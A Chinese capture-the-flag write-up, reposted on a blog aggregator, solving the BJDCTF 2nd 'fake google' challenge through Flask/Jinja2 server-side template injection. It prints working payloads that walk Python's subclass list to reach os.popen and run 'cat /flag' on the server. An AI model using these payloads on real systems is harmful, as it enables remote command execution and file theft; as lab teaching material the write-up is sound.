首页 > 其他 > 详细

[BJDCTF 2nd]fake google

时间:2021-03-28 22:14:48      阅读:26      评论:0      收藏:0      [点我收藏+]

前面我们学习了模板注入,那也对模板注入有所了解,所以说要趁热打铁起来,赶紧整份题做做,在buu上面发现了这道题

首先打开靶机,进入环境

技术分享图片

 

 是这样一界面,那我们随便输入个东西,123456

技术分享图片

 

 回显出这样,那我们再测试一下,看看是否真的存在模板注入,输入 {{4*5}} ,看看这次回显的是什么

技术分享图片

 

 被当作表达式运行了,果断模板注入

先找出所有的类

 ?name={{"".__class__.__mro__[1].__subclasses__()}} 

技术分享图片

 

 这就都出来了,然后我们就需要找出里面包含os的模块。利用刚才使用的脚本,跑一下就可以得出来。这里就不予以展示了。

找出来之后

技术分享图片

 

 有这么几个,然后我们再从中找出可执行命令来

 ?name={{"".__class__.__mro__[1].__subclasses__()[366].__init__.__globals__}} 

技术分享图片

 

 

?name={{"".__class__.__mro__[1].__subclasses__()[366].__init__.__globals__[__builtins__][__import__](os).popen("cat /flag").read()}}

从而拿到flag

技术分享图片

 

 此题与我们上个文章讲的是一样,不明白可以再去参考一下flask之ssti模板注入这篇文章

[BJDCTF 2nd]fake google

原文:https://www.cnblogs.com/awsole/p/14589896.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!